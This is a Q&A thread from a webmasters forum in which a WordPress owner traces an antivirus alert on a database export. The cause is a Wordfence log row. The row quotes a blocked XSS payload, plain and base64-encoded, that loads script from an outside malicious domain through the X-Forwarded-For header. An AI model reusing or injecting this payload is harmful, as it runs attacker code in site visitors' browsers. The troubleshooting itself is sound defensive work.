1

This is the first time this has happened to me. I'm attaching the screenshot of the message I got about the threat. Also here is the link that ESET software shows me for more info about this.

I ran malware scans on the website, but maybe these can't check the .sql file being assembled + exported, only the other files of the site (?).

A threat (HTML/ScrInject.B) was found when Google Chrome tried to access a website

A threat (HTML/ScrInject.B) was found when Google Chrome tried to access a website ..XY"

Update:

Thanks to the conversation below with @closetnoc, I found a pretty suspicious line in the database by searching for <script>, <script, /script> etc., and inspecting the few results I got. Here is what I found so far (on line 477799):

(4090, 1570436010.678350, 1570436010.590000, 0x00000000000000000000ffffb280c19e, 0, 403, 0, 0, 0, 'https://my-domain-name-which-i-censored-it-for-now.com/', '\"><script type=text/javascript src=\'https://js.balantfromsun.com/black.js?&tp=3\'></script>', '\"><script type=text/javascript src=\'https://js.balantfromsun.com/black.js?&tp=3\'></script>', 'blocked:waf', 'Generic XSS Injection in IP Forwarding Headers', '{\"learningMode\":0,\"failedRules\":\"59\",\"paramKey\":\"cmVxdWVzdC5oZWFkZXJzW1gtRm9yd2FyZGVkLUZvcl0=\",\"paramValue\":\"Ij48c2NyaXB0IHR5cGU9dGV4dC9qYXZhc2NyaXB0IHNyYz0naHR0cHM6Ly9qcy5iYWxhbnRmcm9tc3VuLmNvbS9ibGFjay5qcz8mdHA9Myc+PC9zY3JpcHQ+\",\"path\":\"Lw==\",\"category\":\"xss\",\"ssl\":1}'),

The 'balantfromsun.com' domain shows malicious to my browser. I think we caught some malware from there already. Now I'm trying to find the file which injects this code to the DB.

Latest Update:

Apparently Wordfence plugin itself placed the problematic script into the DB (my question: WHY? ), into the wp_wfhits table. I deleted this specific row (shown above) and the antivirus no longer gets triggered.

Improve this question
7
  • I don't understand what you mean by "cannot download" the SQL file. It appears that the anti-virus software on your desktop is having a problem with a web-based FTP app. You'll probably want to use a "non-browser" FTP client to manipulate your site files.
    – gnicko
    Oct 29, 2019 at 19:15
  • Hi @GregNickoloff, yes, i will edit the title of this question now, because sure the main concern is that my website (& the DB) probably got infected. At least yet what i interpret is that the antivirus software catched a real malware activity based on what i found in the .sql file. (the injected script above with gray background, white text. By the way, what's your opinion about that?). FYI the antivirus system alerts me even when i open the infected .sql in an editor on my computer. So it seems to be working promptly for me. So i expect it to alert me whatever channel i 'grab' the file(?)
    – Viktor Borítás
    Oct 29, 2019 at 19:48
  • 1
    See the formatting help on how to edit code into your question. Basically you can indent it all 4 spaces. There is a button on the editor to help you with this. The icon ooks like {}
    – Stephen Ostermiller ♦
    Oct 30, 2019 at 10:49
  • 1
    Do not post images of code, errors or output!
    – Rob
    Oct 30, 2019 at 12:12
  • @StephenOstermiller, the script tags still getting completely stripped out. Is this because code blocks are getting escaped? Please help me out, how shall i then display a code snippet like the one on the image above without getting altered by the SE's parser? Put it between backticks as inline code?? (i've read the editing guide again, but got no proper answer on this) Cheers!
    – Viktor Borítás
    Nov 2, 2019 at 15:19

2 Answers 2

Reset to default
4

You do not say what the .sql file is for, however, a .sql file, in of itself, is just plain ol' text and therefore not a threat. Ignore it the notice.

It is not uncommon that anti-virus software will hit on various files. They are looking for patterns. Known JavaScript files are often pinged as a virus.

That said, if you do not know what the file is or if the file is a backup of your database, you will want to manually peruse your database to make sure there is no JavaScript code as a result of a SQL injection vulnerability. Not knowing your database, we cannot possibly help you here unless perhaps if it is a CMS (content management system) such as WordPress. One of the other stacks may be able to help otherwise.

Lastly, make sure all of your software is up to date. Otherwise, if there was a SQL injection attack, it could happen again.

Improve this answer
15
  • it looks like the warning may be coming from the site itself, before the SQL is downloaded.
    – Steve
    Oct 28, 2019 at 6:01
  • @closetnoc in this case it is a Wordpress DB export file (i wrote WP in the title but now i change it to Wordpress for clarity. Thank you for your hints tho, they are useful for broad situations.
    – Viktor Borítás
    Oct 28, 2019 at 9:26
  • @Steve yes, i think the same. When the file gets assembled and the server tries to push it to the browser there something happens in the request / header / code (?).
    – Viktor Borítás
    Oct 28, 2019 at 9:30
  • @ViktorBorítás If you are in the processing of exporting your WP DB, then it sounds to me like your WP site has seen a successful SQL injection or other attack.
    – closetnoc
    Oct 28, 2019 at 15:05
  • @closetnoc im sure it's possible. Then my question is: what measures/tactics you would take. As i see about this specific treat's stats and history, now it peaks, never been as much active as nowadays.
    – Viktor Borítás
    Oct 28, 2019 at 15:07
2

It is not uncommon for malicious JS to be injected and stored in a database. If this is a backup copy of your site's database, it may contain elements that have been identified as malicious. It looks like this is the case based on what you've found in the SQL file.

I would find another reputable scanner that runs on the server and see what it finds, then delete the suspicious scripts from the database. Your hosting provider may be able to install or recommend a decent one. Other services are available as well.

In this case, it's important to distinguish between running anti-virus software on your desktop/browser and running it on the web server. Although the desktop/browser anti-virus will be helpful in alerting you to a problem, it can do nothing to actually fix the issue. That must be done on the server.

Cleaning out the malicious scripts would involve removing them from the live SQL database and not just from the SQL file. The static file is a backup of the live database and essentially inert. The malicious script must be removed from the actual database for the cleaning to do any good.

Make sure any add-ons, extensions, etc. are up to date. Cleaning out the injected script(s) is pretty easy, but preventing them from coming back is the paramount concern. Otherwise, they'll be back by this time tomorrow. Most likely the malicious script is injected into the content of pages/elements using an exploit in an existing module rather than a bit of bad code, so the need for having the most up-to-date extensions/add-ons/modules is more important.

Improve this answer
5
  • Your explanation feels absolutely right. I already did scans of the website by 2-3 most popular antimalware wp plugins (from the very same 'league'), without any useful alert by now. However the one you recommend above, was not amongst them. Now i will try to scan with it too. Also DID expect that some scanner will be able to detect the problematic part(s) which contains the code or element that does the injection. But they failed to detect. So the "Cleaning out the injected script(s) is pretty easy" is still ongoing and according to results it's rather challenging yet. ;)
    – Viktor Borítás
    Oct 29, 2019 at 20:02
  • If the bad guys exploited one of your plugins to inject the bad script into the site's database, scanning the site files on the server may not reveal any problem because the bad stuff is stored in the database. Generally, the way to find that is to do a fresh dump the database to a text/SQL file and scan that. (Pretty much what you've already done.) The biggest issue is to prevent reinfection going forward. It may take several rounds to be rid of it.
    – gnicko
    Oct 30, 2019 at 0:18
  • i found that the problematic script was placed into the DB by Wordfence plugin. I'm somewhat suprised. Maybe it had been hacked?.. or why would they place any malicious script catches, examples put in the DB that way? I updated my question. Still trying to find the reason of this phenomenon. Cheers
    – Viktor Borítás
    Nov 3, 2019 at 12:34
  • That is pretty strange. I wouldn't expect that one to be the problem. I'd follow up with the Wordfence guys... if for nothing else, to make sure it doesn't happen again, or happen to anyone else.
    – gnicko
    Nov 4, 2019 at 15:21
  • Thanks Greg, i also wrote them email and sending a 'ticket' to their free forum (i'm not a paid member yet) Let's post here / update the original question if any useful info on this.
    – Viktor Borítás
    Nov 5, 2019 at 11:54

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.